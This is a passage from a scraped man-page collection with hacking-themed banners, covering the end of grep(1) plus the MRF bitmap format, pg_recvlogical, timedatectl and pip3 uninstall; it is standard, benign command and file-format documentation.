Repetition takes precedence over concatenation, which in turn takes precedence over alternation. A whole expression may be enclosed in parentheses to override these precedence rules and form a subexpression.

Back-references and Subexpressions

The back-reference ****n , where n is a single digit, matches the substring previously matched by the nth parenthesized subexpression of the regular expression.

Basic vs Extended Regular Expressions

In basic regular expressions the meta-characters ?, +, {, |, (, and ) lose their special meaning; instead use the backslashed versions ***, ***, ***, ***, ***, and ***.

EXIT STATUS

Normally the exit status is 0 if a line is selected, 1 if no lines were selected, and 2 if an error occurred. However, if the -q or - -quiet or - -silent is used and a line is selected, the exit status is 0 even if an error occurred.

ENVIRONMENT

The behavior of grep is affected by the following environment variables.

The locale for category **LC_**foo is specified by examining the three environment variables LC_ALL, LC_foo, LANG, in that order. The first of these variables that is set specifies the locale. For example, if LC_ALL is not set, but LC_MESSAGES is set to pt_BR, then the Brazilian Portuguese locale is used for the LC_MESSAGES category. The C locale is used if none of these environment variables are set, if the locale catalog is not installed, or if grep was not compiled with national language support (NLS). The shell command locale -a lists locales that are currently available.

GREP_COLORS
Controls how the - -color option highlights output. Its value is a colon-separated list of capabilities that defaults to ms=01;31:mc=01;31:sl=:cx=:fn=35:ln=32:bn=32:se=36 with the rv and ne boolean capabilities omitted (i.e., false). Supported capabilities are as follows.

sl=
SGR substring for whole selected lines (i.e., matching lines when the -v command-line option is omitted, or non-matching lines when -v is specified). If however the boolean rv capability and the -v command-line option are both specified, it applies to context matching lines instead. The default is empty (i.e., the terminal’s default color pair).

cx=
SGR substring for whole context lines (i.e., non-matching lines when the -v command-line option is omitted, or matching lines when -v is specified). If however the boolean rv capability and the -v command-line option are both specified, it applies to selected non-matching lines instead. The default is empty (i.e., the terminal’s default color pair).

rv
Boolean value that reverses (swaps) the meanings of the sl= and cx= capabilities when the -v command-line option is specified. The default is false (i.e., the capability is omitted).

mt=01;31
SGR substring for matching non-empty text in any matching line (i.e., a selected line when the -v command-line option is omitted, or a context line when -v is specified). Setting this is equivalent to setting both ms= and mc= at once to the same value. The default is a bold red text foreground over the current line background.

ms=01;31
SGR substring for matching non-empty text in a selected line. (This is only used when the -v command-line option is omitted.) The effect of the sl= (or cx= if rv) capability remains active when this kicks in. The default is a bold red text foreground over the current line background.

mc=01;31
SGR substring for matching non-empty text in a context line. (This is only used when the -v command-line option is specified.) The effect of the cx= (or sl= if rv) capability remains active when this kicks in. The default is a bold red text foreground over the current line background.

fn=35
SGR substring for file names prefixing any content line. The default is a magenta text foreground over the terminal’s default background.

ln=32
SGR substring for line numbers prefixing any content line. The default is a green text foreground over the terminal’s default background.

bn=32
SGR substring for byte offsets prefixing any content line. The default is a green text foreground over the terminal’s default background.

se=36
SGR substring for separators that are inserted between selected line fields (:), between context line fields, (-), and between groups of adjacent lines when nonzero context is specified (- -). The default is a cyan text foreground over the terminal’s default background.

ne
Boolean value that prevents clearing to the end of line using Erase in Line (EL) to Right (\33[K) each time a colorized item ends. This is needed on terminals on which EL is not supported. It is otherwise useful on terminals for which the back_color_erase (bce) boolean terminfo capability does not apply, when the chosen highlight colors do not affect the background, or when EL is too slow or causes too much flicker. The default is false (i.e., the capability is omitted).

Note that boolean capabilities have no =. . . part. They are omitted (i.e., false) by default and become true when specified.

See the Select Graphic Rendition (SGR) section in the documentation of the text terminal that is used for permitted values and their meaning as character attributes. These substring values are integers in decimal representation and can be concatenated with semicolons. grep takes care of assembling the result into a complete SGR sequence (\33[. . .m). Common values to concatenate include 1 for bold, 4 for underline, 5 for blink, 7 for inverse, 39 for default foreground color, 30 to 37 for foreground colors, 90 to 97 for 16-color mode foreground colors, 38;5;0 to 38;5;255 for 88-color and 256-color modes foreground colors, 49 for default background color, 40 to 47 for background colors, 100 to 107 for 16-color mode background colors, and 48;5;0 to 48;5;255 for 88-color and 256-color modes background colors.

LC_ALL, LC_COLLATE, LANG
These variables specify the locale for the LC_COLLATE category, which determines the collating sequence used to interpret range expressions like [a-z].

LC_ALL, LC_CTYPE, LANG
These variables specify the locale for the LC_CTYPE category, which determines the type of characters, e.g., which characters are whitespace. This category also determines the character encoding, that is, whether text is encoded in UTF-8, ASCII, or some other encoding. In the C or POSIX locale, all characters are encoded as a single byte and every byte is a valid character.

LC_ALL, LC_MESSAGES, LANG
These variables specify the locale for the LC_MESSAGES category, which determines the language that grep uses for messages. The default C locale uses American English messages.

POSIXLY_CORRECT
If set, grep behaves as POSIX requires; otherwise, grep behaves more like other GNU programs. POSIX requires that options that follow file names must be treated as file names; by default, such options are permuted to the front of the operand list and are treated as options. Also, POSIX requires that unrecognized options be diagnosed as “illegal”, but since they are not really against the law the default is to diagnose them as “invalid”.

NOTES

This man page is maintained only fitfully; the full documentation is often more up-to-date.

COPYRIGHT

Copyright 1998-2000, 2002, 2005-2023 Free Software Foundation, Inc.

This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

BUGS

Reporting Bugs

Email bug reports to the bug-reporting address. An email archive and a bug tracker are available.

Known Bugs

Large repetition counts in the {n,m} construct may cause grep to use lots of memory. In addition, certain other obscure regular expressions require exponential time and space, and may cause grep to run out of memory.

Back-references are very slow, and may require exponential time.

EXAMPLE

The following example outputs the location and contents of any line containing “f” and ending in “.c”, within all files in the current directory whose names contain “g” and end in “.h”. The -n option outputs line numbers, the argument treats expansions of “*g*.h” starting with “-” as file names not options, and the empty file /dev/null causes file names to be output even if only one file name happens to be of the form “*g*.h”.

$ grep -n -- 'f.*\.c$' *g*.h /dev/null
argmatch.h:1:/* definitions and prototypes for argmatch.c

The only line that matches is line 1 of argmatch.h. Note that the regular expression syntax used in the pattern differs from the globbing syntax that the shell uses to match file names.

SEE ALSO

Regular Manual Pages

awk(1), cmp(1), diff(1), find(1), perl(1), sed(1), sort(1), xargs(1), read(2), pcre2(3), pcre2syntax(3), pcre2pattern(3), terminfo(5), glob(7), regex(7)

Full Documentation

A complete manual is available. If the info and grep programs are properly installed at your site, the command

info grep

should give you access to the complete manual.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

112 - Linux cli command mrf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mrf and provides detailed information about the command mrf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mrf.

.

NAME 🖥️ mrf 🖥️

monochrome recursive format (compressed bitmaps)

DESCRIPTION

This document describes the MRF format recognized by Netpbm(1) .

MRF is a compressed format for bilevel (1-bit mono) images. It achieves better compression for some such images than either GIF or PNG. (It’s also very easy to implement (about the same difficulty as RLE, I’d say) and an MRF reader needs no tables/buffers, which may make it useful for tiny machines).

In case the above hasn’t made it sufficiently clear, I’ll make this next point explicitly: MRF cannot represent color at all. Nor can it represent grayscale. It’s a specifically mono format. (If you want to compress a color or grayscale image, my advice is to use JPEG2000).

First, here’s what goes where in an MRF file. I’ll explain how the compression works afterward.

Offset
Description

0
magic number - “MRF1” (in ASCII)

4
width (32-bit, MSB first (i.e. big-endian))

8
height (same)

12
reserved (single byte, must be zero)

13
compressed data

Note that there is no end-of-file marker in the file itself - the compressed data carries on right up to EOF.

The way the picture is compressed is essentially very simple, but as they say, the devil is in the detail. So don’t be put off if it sounds confusing.

The image is treated as a number of 64x64 squares, forming a grid large enough to encompass it. (If an image is (say) 129x65, it’ll be treated in the same way as a 192x128 one. On decompression, the extra area which was encoded (the contents of this area is undefined) should be ignored.) Each of these squares in turn (in left-to-right, top-to-bottom order) is recursively subdivided until the smallest completely black or white squares are found. Some pseudocode (eek!) for the recursive subdivision routine should make things clearer:

    if square size > 1x1 and square is all one color, output 1 bit
    if whole square is black, output a 0 bit and return
    if whole square is white, output a 1 bit and return
    output a 0 bit
    divide the square into four quarters, calling routine for
    each in this order: top-left, top-right, bottom-left, bottom-right

(Note that the “output a 0 bit” stage is not reached for squares of size 1x1, which is what stops it recursing infinitely. I mention this as it may not be immediately obvious.)

The whole of the compressed data is made up of the bits output by the above routine. The bits are packed into bytes MSB first, so for example outputting the bits 1,0,0,0,0,0,0,0 would result in a 80h byte being output. Any `unused’ bits in the last byte output are undefined; these are effectively after EOF and their value is unimportant.

If writing that sounds too much like hard work :-), you could always adapt pbmtomrf and/or mrftopbm. That’s the main reason their source code is public domain, after all.

Above, I said the contents of any extra area encoded (when a bitmap smaller than the grid of squares is compressed) is undefined. This is deliberate so that the MRF compressor can make these unseen areas anything it wants so as to maximize compression, rather than simply leaving it blank. pbmtomrf does a little in this respect but could definitely be improved upon.

mrftopbm’s -1 option causes it to include the edges, if any, in the output PBM. This may help when debugging a compressor’s edge optimization.

Note that the “F” in the name “MRF” comes from “format,” which is redundant because it is the name of a format. That sort of makes “MRF format” sound as stupid as “PIN number,” but it’s not really that bad.

SEE ALSO

mrftopbm(1) , pbmtomrf(1)

AUTHOR

Russell Marks.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/mrf.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

113 - Linux cli command pg_recvlogical

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_recvlogical and provides detailed information about the command pg_recvlogical, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_recvlogical.

NAME 🖥️ pg_recvlogical 🖥️

control PostgreSQL logical decoding streams

SYNOPSIS

pg_recvlogical [option…]

DESCRIPTION

pg_recvlogical controls logical decoding replication slots and streams data from such replication slots.

It creates a replication-mode connection, so it is subject to the same constraints as pg_receivewal(1), plus those for logical replication (see Chapter 49).

pg_recvlogical has no equivalent to the logical decoding SQL interfaces peek and get modes. It sends replay confirmations for data lazily as it receives it and on clean exit. To examine pending data on a slot without consuming it, use pg_logical_slot_peek_changes.

In the absence of fatal errors, pg_recvlogical will run until terminated by the SIGINT (Control+C) or SIGTERM signal.

OPTIONS

At least one of the following options must be specified to select an action:

–create-slot

Create a new logical replication slot with the name specified by –slot, using the output plugin specified by –plugin, for the database specified by –dbname.

The –two-phase can be specified with –create-slot to enable decoding of prepared transactions.

–drop-slot

Drop the replication slot with the name specified by –slot, then exit.

–start

Begin streaming changes from the logical replication slot specified by –slot, continuing until terminated by a signal. If the server side change stream ends with a server shutdown or disconnect, retry in a loop unless –no-loop is specified.

The stream format is determined by the output plugin specified when the slot was created.

The connection must be to the same database used to create the slot.

–create-slot and –start can be specified together. –drop-slot cannot be combined with another action.

The following command-line options control the location and format of the output and other replication behavior:

-E lsn
**–endpos=**lsn

In –start mode, automatically stop replication and exit with normal exit status 0 when receiving reaches the specified LSN. If specified when not in –start mode, an error is raised.

If theres a record with LSN exactly equal to lsn, the record will be output.

The –endpos option is not aware of transaction boundaries and may truncate output partway through a transaction. Any partially output transaction will not be consumed and will be replayed again when the slot is next read from. Individual messages are never truncated.

-f filename
**–file=**filename

Write received and decoded transaction data into this file. Use - for stdout.

-F interval_seconds
**–fsync-interval=**interval_seconds

Specifies how often pg_recvlogical should issue fsync() calls to ensure the output file is safely flushed to disk.

The server will occasionally request the client to perform a flush and report the flush position to the server. This setting is in addition to that, to perform flushes more frequently.

Specifying an interval of 0 disables issuing fsync() calls altogether, while still reporting progress to the server. In this case, data could be lost in the event of a crash.

-I lsn
**–startpos=**lsn

In –start mode, start replication from the given LSN. For details on the effect of this, see the documentation in Chapter 49 and Section 55.4. Ignored in other modes.

–if-not-exists

Do not error out when –create-slot is specified and a slot with the specified name already exists.

-n
–no-loop

When the connection to the server is lost, do not retry in a loop, just exit.

-o name**[=value]**
–option=name[=value]

Pass the option name to the output plugin with, if specified, the option value value. Which options exist and their effects depends on the used output plugin.

-P plugin
**–plugin=**plugin

When creating a slot, use the specified logical decoding output plugin. See Chapter 49. This option has no effect if the slot already exists.

-s interval_seconds
**–status-interval=**interval_seconds

This option has the same effect as the option of the same name in pg_receivewal(1). See the description there.

-S slot_name
**–slot=**slot_name

In –start mode, use the existing logical replication slot named slot_name. In –create-slot mode, create the slot with this name. In –drop-slot mode, delete the slot with this name.

-t
–two-phase

Enables decoding of prepared transactions. This option may only be specified with –create-slot

-v
–verbose

Enables verbose mode.

The following command-line options control the database connection parameters.

-d dbname
**–dbname=**dbname

The database to connect to. See the description of the actions for what this means in detail. The dbname can be a connection string. If so, connection string parameters will override any conflicting command line options. Defaults to the user name.

-h hostname-or-ip
**–host=**hostname-or-ip

Specifies the host name of the machine on which the server is running. If the value begins with a slash, it is used as the directory for the Unix domain socket. The default is taken from the PGHOST environment variable, if set, else a Unix domain socket connection is attempted.

-p port
**–port=**port

Specifies the TCP port or local Unix domain socket file extension on which the server is listening for connections. Defaults to the PGPORT environment variable, if set, or a compiled-in default.

-U user
**–username=**user

User name to connect as. Defaults to current operating system user name.

-w
–no-password

Never issue a password prompt. If the server requires password authentication and a password is not available by other means such as a .pgpass file, the connection attempt will fail. This option can be useful in batch jobs and scripts where no user is present to enter a password.

-W
–password

Force pg_recvlogical to prompt for a password before connecting to a database.

This option is never essential, since pg_recvlogical will automatically prompt for a password if the server demands password authentication. However, pg_recvlogical will waste a connection attempt finding out that the server wants a password. In some cases it is worth typing -W to avoid the extra connection attempt.

The following additional options are available:

-V
–version

Print the pg_recvlogical version and exit.

-?
–help

Show help about pg_recvlogical command line arguments, and exit.

EXIT STATUS

pg_recvlogical will exit with status 0 when terminated by the SIGINT or SIGTERM signal. (That is the normal way to end it. Hence it is not an error.) For fatal errors or other signals, the exit status will be nonzero.

ENVIRONMENT

This utility, like most other PostgreSQL utilities, uses the environment variables supported by libpq (see Section 34.15).

The environment variable PG_COLOR specifies whether to use color in diagnostic messages. Possible values are always, auto and never.

NOTES

pg_recvlogical will preserve group permissions on the received WAL files if group permissions are enabled on the source cluster.

EXAMPLES

See Section 49.1 for an example.

SEE ALSO

pg_receivewal(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

114 - Linux cli command timedatectl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command timedatectl and provides detailed information about the command timedatectl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the timedatectl.

NAME 🖥️ timedatectl 🖥️

Control the system time and date

SYNOPSIS

timedatectl [OPTIONS…] {COMMAND}

DESCRIPTION

timedatectl may be used to query and change the system clock and its settings, and enable or disable time synchronization services.

Use systemd-firstboot(1) to initialize the system time zone for mounted (but not booted) system images.

timedatectl may be used to show the current status of time synchronization services, for example systemd-timesyncd.service(8).

COMMANDS

The following commands are understood:

status

Show current settings of the system clock and RTC, including whether network time synchronization is active. If no command is specified, this is the implied default.

Added in version 195.

show

Show the same information as status, but in machine readable form. This command is intended to be used whenever computer-parsable output is required. Use status if you are looking for formatted human-readable output.

By default, empty properties are suppressed. Use –all to show those too. To select specific properties to show, use –property=.

Added in version 239.

set-time [TIME]

Set the system clock to the specified time. This will also update the RTC time accordingly. The time may be specified in the format “2012-10-30 18:17:16”.

Added in version 195.

set-timezone [TIMEZONE]

Set the system time zone to the specified value. Available timezones can be listed with list-timezones. If the RTC is configured to be in the local time, this will also update the RTC time. This call will alter the /etc/localtime symlink. See localtime(5) for more information.

Added in version 195.

list-timezones

List available time zones, one per line. Entries from the list can be set as the system timezone with set-timezone.

Added in version 195.

set-local-rtc [BOOL]

Takes a boolean argument. If “0”, the system is configured to maintain the RTC in universal time. If “1”, it will maintain the RTC in local time instead. Note that maintaining the RTC in the local timezone is not fully supported and will create various problems with time zone changes and daylight saving adjustments. If at all possible, keep the RTC in UTC mode. Note that invoking this will also synchronize the RTC from the system clock, unless –adjust-system-clock is passed (see above). This command will change the 3rd line of /etc/adjtime, as documented in hwclock(8).

Added in version 195.

set-ntp [BOOL]

Takes a boolean argument. Controls whether network time synchronization is active and enabled (if available). If the argument is true, this enables and starts the first existing network synchronization service. If the argument is false, then this disables and stops the known network synchronization services. The way that the list of services is built is described in systemd-timedated.service(8).

Added in version 195.

systemd-timesyncd Commands

The following commands are specific to systemd-timesyncd.service(8).

timesync-status

Show current status of systemd-timesyncd.service(8). If –monitor is specified, then this will monitor the status updates.

Added in version 239.

show-timesync

Show the same information as timesync-status, but in machine readable form. This command is intended to be used whenever computer-parsable output is required. Use timesync-status if you are looking for formatted human-readable output.

By default, empty properties are suppressed. Use –all to show those too. To select specific properties to show, use –property=.

Added in version 239.

ntp-servers INTERFACE SERVER**…**

Set the interface specific NTP servers. This command can be used only when the interface is managed by systemd-networkd.

Added in version 243.

revert INTERFACE

Revert the interface specific NTP servers. This command can be used only when the interface is managed by systemd-networkd.

Added in version 243.

OPTIONS

The following options are understood:

–no-ask-password

Do not query the user for authentication for privileged operations.

Added in version 195.

–adjust-system-clock

If set-local-rtc is invoked and this option is passed, the system clock is synchronized from the RTC again, taking the new setting into account. Otherwise, the RTC is synchronized from the system clock.

Added in version 195.

–monitor

If timesync-status is invoked and this option is passed, then timedatectl monitors the status of systemd-timesyncd.service(8) and updates the outputs. Use Ctrl+C to terminate the monitoring.

Added in version 239.

-a, –all

When showing properties of systemd-timesyncd.service(8), show all properties regardless of whether they are set or not.

Added in version 239.

-p, –property=

When showing properties of systemd-timesyncd.service(8), limit display to certain properties as specified as argument. If not specified, all set properties are shown. The argument should be a property name, such as “ServerName”. If specified more than once, all properties with the specified names are shown.

Added in version 239.

–value

When printing properties with show-timesync, only print the value, and skip the property name and “=”.

Added in version 239.

-P

Equivalent to –value –property=, i.e. shows the value of the property without the property name or “=”. Note that using -P once will also affect all properties listed with -p/–property=.

Added in version 256.

-H, –host=

Execute the operation remotely. Specify a hostname, or a username and hostname separated by “@”, to connect to. The hostname may optionally be suffixed by a port ssh is listening on, separated by “:”, and then a container name, separated by “/”, which connects directly to a specific container on the specified host. This will use SSH to talk to the remote machine manager instance. Container names may be enumerated with machinectl -H HOST. Put IPv6 addresses in brackets.

-M, –machine=

Execute operation on a local container. Specify a container name to connect to, optionally prefixed by a user name to connect as and a separating “@” character. If the special string “.host” is used in place of the container name, a connection to the local system is made (which is useful to connect to a specific users user bus: “–user –[email protected]”). If the “@” syntax is not used, the connection is made as root user. If the “@” syntax is used either the left hand side or the right hand side may be omitted (but not both) in which case the local user name and “.host” are implied.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

–no-pager

Do not pipe output into a pager.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

ENVIRONMENT

$SYSTEMD_LOG_LEVEL

The maximum log level of emitted messages (messages with a higher log level, i.e. less important ones, will be suppressed). Takes a comma-separated list of values. A value may be either one of (in order of decreasing importance) emerg, alert, crit, err, warning, notice, info, debug, or an integer in the range 0…7. See syslog(3) for more information. Each value may optionally be prefixed with one of console, syslog, kmsg or journal followed by a colon to set the maximum log level for that specific log target (e.g. SYSTEMD_LOG_LEVEL=debug,console:info specifies to log at debug level except when logging to the console which should be at info level). Note that the global maximum log level takes priority over any per target maximum log levels.

$SYSTEMD_LOG_COLOR

A boolean. If true, messages written to the tty will be colored according to priority.

This setting is only useful when messages are written directly to the terminal, because journalctl(1) and other tools that display logs will color messages based on the log level on their own.

$SYSTEMD_LOG_TIME

A boolean. If true, console log messages will be prefixed with a timestamp.

This setting is only useful when messages are written directly to the terminal or a file, because journalctl(1) and other tools that display logs will attach timestamps based on the entry metadata on their own.

$SYSTEMD_LOG_LOCATION

A boolean. If true, messages will be prefixed with a filename and line number in the source code where the message originates.

Note that the log location is often attached as metadata to journal entries anyway. Including it directly in the message text can nevertheless be convenient when debugging programs.

$SYSTEMD_LOG_TID

A boolean. If true, messages will be prefixed with the current numerical thread ID (TID).

Note that the this information is attached as metadata to journal entries anyway. Including it directly in the message text can nevertheless be convenient when debugging programs.

$SYSTEMD_LOG_TARGET

The destination for log messages. One of console (log to the attached tty), console-prefixed (log to the attached tty but with prefixes encoding the log level and “facility”, see syslog(3), kmsg (log to the kernel circular log buffer), journal (log to the journal), journal-or-kmsg (log to the journal if available, and to kmsg otherwise), auto (determine the appropriate log target automatically, the default), null (disable log output).

$SYSTEMD_LOG_RATELIMIT_KMSG

Whether to ratelimit kmsg or not. Takes a boolean. Defaults to “true”. If disabled, systemd will not ratelimit messages written to kmsg.

$SYSTEMD_PAGER

Pager to use when –no-pager is not given; overrides $PAGER. If neither $SYSTEMD_PAGER nor $PAGER are set, a set of well-known pager implementations are tried in turn, including less(1) and more(1), until one is found. If no pager implementation is discovered no pager is invoked. Setting this environment variable to an empty string or the value “cat” is equivalent to passing –no-pager.

Note: if $SYSTEMD_PAGERSECURE is not set, $SYSTEMD_PAGER (as well as $PAGER) will be silently ignored.

$SYSTEMD_LESS

Override the options passed to less (by default “FRSXMK”).

Users might want to change two options in particular:

K

This option instructs the pager to exit immediately when Ctrl+C is pressed. To allow less to handle Ctrl+C itself to switch back to the pager command prompt, unset this option.

If the value of $SYSTEMD_LESS does not include “K”, and the pager that is invoked is less, Ctrl+C will be ignored by the executable, and needs to be handled by the pager.

X

This option instructs the pager to not send termcap initialization and deinitialization strings to the terminal. It is set by default to allow command output to remain visible in the terminal even after the pager exits. Nevertheless, this prevents some pager functionality from working, in particular paged output cannot be scrolled with the mouse.

Note that setting the regular $LESS environment variable has no effect for less invocations by systemd tools.

See less(1) for more discussion.

$SYSTEMD_LESSCHARSET

Override the charset passed to less (by default “utf-8”, if the invoking terminal is determined to be UTF-8 compatible).

Note that setting the regular $LESSCHARSET environment variable has no effect for less invocations by systemd tools.

$SYSTEMD_PAGERSECURE

Takes a boolean argument. When true, the “secure” mode of the pager is enabled; if false, disabled. If $SYSTEMD_PAGERSECURE is not set at all, secure mode is enabled if the effective UID is not the same as the owner of the login session, see geteuid(2) and sd_pid_get_owner_uid(3). In secure mode, LESSSECURE=1 will be set when invoking the pager, and the pager shall disable commands that open or create new files or start new subprocesses. When $SYSTEMD_PAGERSECURE is not set at all, pagers which are not known to implement secure mode will not be used. (Currently only less(1) implements secure mode.)

Note: when commands are invoked with elevated privileges, for example under sudo(8) or pkexec(1), care must be taken to ensure that unintended interactive features are not enabled. “Secure” mode for the pager may be enabled automatically as describe above. Setting SYSTEMD_PAGERSECURE=0 or not removing it from the inherited environment allows the user to invoke arbitrary commands. Note that if the $SYSTEMD_PAGER or $PAGER variables are to be honoured, $SYSTEMD_PAGERSECURE must be set too. It might be reasonable to completely disable the pager using –no-pager instead.

$SYSTEMD_COLORS

Takes a boolean argument. When true, systemd and related utilities will use colors in their output, otherwise the output will be monochrome. Additionally, the variable can take one of the following special values: “16”, “256” to restrict the use of colors to the base 16 or 256 ANSI colors, respectively. This can be specified to override the automatic decision based on $TERM and what the console is connected to.

$SYSTEMD_URLIFY

The value must be a boolean. Controls whether clickable links should be generated in the output for terminal emulators supporting this. This can be specified to override the decision that systemd makes based on $TERM and other conditions.

EXAMPLES

Show current settings:

$ timedatectl Local time: Thu 2017-09-21 16:08:56 CEST Universal time: Thu 2017-09-21 14:08:56 UTC RTC time: Thu 2017-09-21 14:08:56 Time zone: Europe/Warsaw (CEST, +0200) System clock synchronized: yes NTP service: active RTC in local TZ: no

Enable network time synchronization:

$ timedatectl set-ntp true ==== AUTHENTICATING FOR org.freedesktop.timedate1.set-ntp === Authentication is required to control whether network time synchronization shall be enabled. Authenticating as: user Password: ******** ==== AUTHENTICATION COMPLETE ===

$ systemctl status systemd-timesyncd.service ● systemd-timesyncd.service - Network Time Synchronization Loaded: loaded (/usr/lib/systemd/system/systemd-timesyncd.service; enabled) Active: active (running) since Mo 2015-03-30 14:20:38 CEST; 5s ago Docs: man:systemd-timesyncd.service(8) Main PID: 595 (systemd-timesyn) Status: “Using Time Server 216.239.38.15:123 (time4.google.com).” CGroup: /system.slice/systemd-timesyncd.service └─595 /usr/lib/systemd/systemd-timesyncd …

Show current status of systemd-timesyncd.service(8):

$ timedatectl timesync-status Server: 216.239.38.15 (time4.google.com) Poll interval: 1min 4s (min: 32s; max 34min 8s) Leap: normal Version: 4 Stratum: 1 Reference: GPS Precision: 1us (-20) Root distance: 335us (max: 5s) Offset: +316us Delay: 349us Jitter: 0 Packet count: 1 Frequency: -8.802ppm

SEE ALSO

systemd(1), hwclock(8), date(1), localtime(5), systemctl(1), systemd-timedated.service(8), systemd-timesyncd.service(8), systemd-firstboot(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

115 - Linux cli command pip3-uninstall

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pip3-uninstall and provides detailed information about the command pip3-uninstall, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pip3-uninstall.

NAME 🖥️ pip3-uninstall 🖥️

uninstall - description of pip3 uninstall command

DESCRIPTION

Uninstall packages.

pip is able to uninstall most installed packages. Known exceptions are:

  • Pure distutils packages installed with python setup.py install, which leave behind no metadata to determine what files were installed.

  • Script wrappers installed by python setup.py develop.

USAGE

python -m pip uninstall [options] … python -m pip uninstall [options] -r

OPTIONS

-r, –requirement <file>
Uninstall all the packages listed in the given requirements file. This option can be used multiple times.

(environment variable: PIP_REQUIREMENT)

-y, –yes
Don’t ask for confirmation of uninstall deletions.

(environment variable: PIP_YES)

–root-user-action <root_user_action>
Action if pip is run as a root user [warn, ignore] (default: warn)

(environment variable: PIP_ROOT_USER_ACTION)

–break-system-packages
Allow pip to modify an EXTERNALLY-MANAGED Python installation

(environment variable: PIP_BREAK_SYSTEM_PACKAGES)

AUTHOR

pip developers

COPYRIGHT

The pip developers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

